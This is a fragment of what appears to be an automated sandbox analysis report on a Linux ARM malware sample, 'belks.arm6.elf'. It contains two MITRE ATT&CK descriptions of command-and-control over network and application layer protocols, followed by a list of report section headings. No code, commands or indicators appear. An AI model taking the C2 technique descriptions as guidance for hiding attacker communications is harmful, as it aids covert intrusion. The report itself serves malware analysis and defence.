Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report belks.arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: belks.arm6.elf PID: 5421, Parent PID: 5348

General

Chronological Activities

Linux Analysis Report
belks.arm6.elf